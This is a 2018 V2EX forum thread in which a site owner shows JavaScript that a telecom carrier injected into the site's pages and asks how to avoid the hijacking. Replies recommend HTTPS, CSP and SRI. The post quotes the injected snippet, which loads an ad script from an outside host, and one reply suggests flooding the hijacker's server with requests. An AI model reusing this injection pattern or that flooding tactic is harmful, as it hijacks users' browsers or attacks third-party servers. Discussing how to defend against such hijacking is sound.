反运营商 JS 劫持 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
thesunfei
V2EX    问与答

反运营商 JS 劫持

  •  
  •   thesunfei 2018 年 2 月 10 日 6182 次点击
    这是一个创建于 2891 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我们公司的网站经常被电信运营商劫持 JS 访问,被替换成广告代码。以下是被劫持的 JS 内容:

    var atn_obj = new Object; atn_obj.oldurl = 'http://www.tssjsc.cn/addons/sz_yi/static/js/app/config.js?cHVzaA=1518227648'; atn_obj.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/Iyc/NzcrMx8/JzL/OyczRmJuDsZqHiozfyoPMg8vLzc/Pz4POg87KzsfNzcjJy8eDzsrOx83NyMnLx8/LxsnKyceDysnGz8k='; window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0); window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);

    有没有一种办法,就是在客户端请求一个静态资源的时候,比如请求 /aa.jj ,web 服务器返回 /aa.js 的内容?这样电信运营商就察觉不到客户端请求的是个 js 文件。

    19 条回复    2018-04-11 12:03:03 +08:00
    rrfeng
        1
    rrfeng  
       2018 年 2 月 10 日
    你自定义就可以了,文件名并没有什么关系。
    thesunfei
        2
    thesunfei  
    OP
       2018 年 2 月 10 日
    @rrfeng 电信运营商是通过客户端请求的文件扩展名来识别 JS 文件从而就行劫持。
    DT27
        3
    DT27  
       2018 年 2 月 10 日 via Android
    自己的网站上 https 啊
    rrfeng
        4
    rrfeng  
       2018 年 2 月 10 日
    @thesunfei
    我意思是你文件扩展名随便起,叫 jj 还是 js 没关系。
    但是你以为运营商这么傻?他们会看 content-type 去劫持。

    最简单有效的办法还是 https
    thesunfei
        5
    thesunfei  
    OP
       2018 年 2 月 10 日
    @rrfeng 试过改 content-type 了,没用。劫持阶段是在客户端请求后,不是服务器返回阶段。
    wangjie
        6
    wangjie  
       2018 年 2 月 10 日
    @thesunfei #5 所以让你上 https 呀
    terra
        7
    terra  
       2018 年 2 月 10 日 via iPhone
    发现有劫持代码,在后台狂 POST 它显示内容的服务器。
    ccbikai
        8
    ccbikai  
    PRO
       2018 年 2 月 10 日 via iPhone
    CSP,SRI 配置一下
    thesunfei
        9
    thesunfei  
    OP
       2018 年 2 月 10 日
    加了 php 代理后解决问题
    比如 /proxy.php?url=addons/sz_yi/template/mobile/tsys/static/js/jquery-3.1.1.min.js
    ivyliner
        10
    ivyliner  
       2018 年 2 月 10 日 via iPhone
    https 是正途,其他都是自作聪明的做法
    yingfengi
        11
    yingfengi  
       2018 年 2 月 10 日 via Android
    https 才是正途,其他都是自作聪明
    anheiyouxia
        12
    anheiyouxia  
       2018 年 2 月 10 日 via Android
    @DT27 佛山电信,手机如果不是用 chrome 浏览器,会劫持 HTTPS 会话,然后做流氓事,可能因为 chrome 会提醒用户证书不对所以用 chrome 才不会被劫持
    jasontse
        13
    jasontse  
       2018 年 2 月 10 日 via iPad
    @anheiyouxia 不可能吧,https 识别浏览器这件事是鸡和蛋的问题。
    jiangzhuo
        14
    jiangzhuo  
       2018 年 2 月 10 日
    劫持的没有傻到去判断是.js
    第一步是判断是不是 HTTP 协议
    你只要不用 HTTP 协议就可以防 99%的劫持
    SingeeKing
        15
    SingeeKing  
    PRO
       2018 年 2 月 10 日
    上 HSTS Preload x
    改扩展名 √
    someonetwo
        16
    someonetwo  
       2018 年 2 月 10 日
    什么技术都没有法律强制效果好,要是法律规定禁止运营商劫持,发现一律坐牢 10 年以上,哪个运营商敢冒险,让更多人投诉,让国家重视,多抓几个典型就没那么多人敢劫持了
    fstab
        17
    fstab  
       2018 年 2 月 10 日 via Android
    @someonetwo 想什么呢,都是自己人,判这么重真的很好么,就像说什么冤假错案追责一样。

    都是给国家打工的,就算做错事了,批评一下就可以了,难道真要开除,那以后谁敢给国家打工。
    why1
        18
    why1  
       2018 年 2 月 10 日 via Android
    gzip 可以吗,服务器开静态文件压缩
    linkdesu
        19
    linkdesu  
       2018 年 4 月 11 日
    @flyz 听你这口气,就是专门搞劫持赚灰色收入的?
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2301 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 105ms UTC 01:10 PVG 09:10 LAX 17:10 JFK 20:10
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86